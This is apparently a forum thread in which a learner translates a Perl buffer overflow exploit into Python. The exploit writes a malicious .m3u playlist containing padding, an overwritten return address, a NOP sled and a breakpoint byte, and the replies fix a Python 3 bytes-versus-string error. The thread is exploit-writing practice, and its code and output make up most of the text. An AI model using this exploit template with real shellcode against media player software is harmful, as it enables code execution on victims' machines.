Python Exploit from Perl Code Help!

[the0nlyb0ss]

I've been learning basic buffer overflow exploits from a website; the website has the code in Perl, but as the fact that I'm a Python'er, I was wondering how I could do this! I've been Googling everything I can think of but can't find a solution
So here is the original Perl code:

Code: Select all

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";


And here's what I try in Python (3.1):

Code: Select all

from struct import pack
filename = 'test1.m3u'
junk = "A" * 26059
eip = pack('L', 0x0015fcc4)
shellcode = "\x90" * 25
shellcode = shellcode + "\xcc"
shellcode = shellcode + ("\x900" * 25)
file = open(filename, 'wb')
file.write(junk + eip + shellcode)
file.close()
print("m3u file created succesfully")


But it consistently gives me the:

Code: Select all

Traceback (most recent call last):
  File "C:\Buffer Overflow\crash.py", line 9, in <module>
    file.write(junk + eip + shellcode)
TypeError: Can't convert 'bytes' object to str implicitly


I've tried lots of other things, such as decoding, encoding, rewriting the pack() statement, and others, but I most consistently get that error, any suggestions?? (Other than "Learn Perl")

[fabianhjr]

Learn to use the Metasploit Framework. It is meant for that!

If that doesn't work out for you then this(15.6.4) might(WARNING: BIG WALL OF TEXT!)

[Goatboy]

Metasploit, when used by someone who doesn't understand WHY it works, is completely lame.

Just taking a complete shot in the dark here, but it looks like it's having trouble interpreting your variables as strings. I'm not a Python person, but I know a lot of problems in just about any language can be cause by improper variable handling.

[the0nlyb0ss]

Metasploit, when used by someone who doesn't understand WHY it works, is completely lame.

Exactly why I wanted to do it on my own before automating it with Metasploit, thanks.

Just taking a complete shot in the dark here, but it looks like it's having trouble interpreting your variables as strings. I'm not a Python person, but I know a lot of problems in just about any language can be cause by improper variable handling.

This IS the problem I think, but if I properly convert bytes to strings, it can't decode.
EDIT:
I tried converting the strings to bytes instead of vice-versa, I think the file created properly now

[fabianhjr]

Hey, the link I provided is about your issue someone else already solved and logged. Better read the link else I will feel bad about all the 1 hour googleing and reading.
Click this(Section 15.6.4)(WARNING: BIG WALL OF TEXT!)

[the0nlyb0ss]

I actually did read it already, and it's pretty much what got me to get the idea of converting all of it to bytes, thanks
Also, I have that whole book in PDF, maybe I should get around to reading it

[fabianhjr]

Ok, be welcome. I am glad it helped.

[Defience]

Running this in Python 2.6.1 worked without any issues. The only difference from 3.1 was removing the parenthesis in the print statement.

Code: Select all

from struct import pack
filename = 'test1.m3u'
junk = "A" * 26059
eip = pack('L', 0x0015fcc4)
shellcode = "\x90" * 25
shellcode = shellcode + "\xcc"
shellcode = shellcode + ("\x900" * 25)
file = open(filename, 'wb')
file.write(junk + eip + shellcode)
file.close()
print "m3u file created succesfully"


[the0nlyb0ss]

Point is, in the transition from 2 to 3, there was a lot more focus on Unicode and encoding and stuff like that, which is pretty much the problem here...
The working code (for me) if anyone else has this issue ever was:

Code: Select all

from struct import pack
filename = 'test1.m3u'
junk = "A" * 26059
eip = pack('L', 0x0015fcc4)
shellcode = "\x90" * 25
shellcode = shellcode + "\xcc"
shellcode = shellcode + ("\x900" * 25)
file = open(filename, 'wb')

####THE CHANGED LINE####
file.write(bytes(junk, 'utf-8') + eip + bytes(shellcode, 'utf-8'))

file.close()
print("m3u file created succesfully")


[tgoe]

py3 makes a distinction between strings and data:

Code: Select all

#!/usr/bin/env python

from struct import pack

filename = 'test1.m3u'
junk = "A" * 26059
eip = pack('L', 0x0015fcc4)
shellcode = "\x90" * 25
shellcode = shellcode + "\xcc"
shellcode = shellcode + ("\x900" * 25)
file = open(filename, 'wb')
file.write(junk + eip + shellcode)
file.close()
print("m3u file created succesfully")

print(type(eip))
print(eip)


Code: Select all

#!/usr/bin/env python3

import sys
from struct import pack

filename = 'test2.m3u'
junk = b"A" * 26059
eip = pack('L', 0x0015fcc4)
shellcode = b"\x90" * 25
shellcode = shellcode + b"\xcc"
shellcode = shellcode + (b"\x900" * 25)
file = open(filename, 'wb')
file.write(junk + eip + shellcode)
file.close()
print("m3u file created succesfully")

print(type(eip))
sys.stdout.buffer.write(eip)
sys.stdout.write("\n")


Code: Select all

$ ./py2.py
m3u file created succesfully
<type 'str'>
��
$ ./py3.py
m3u file created succesfully
<class 'bytes'>
��
$ diff test1.m3u test2.m3u
$


Notice the py3 code 'b' prefix to interpret the hardcoded "strings" as bytes. Also, you probably meant "\x90".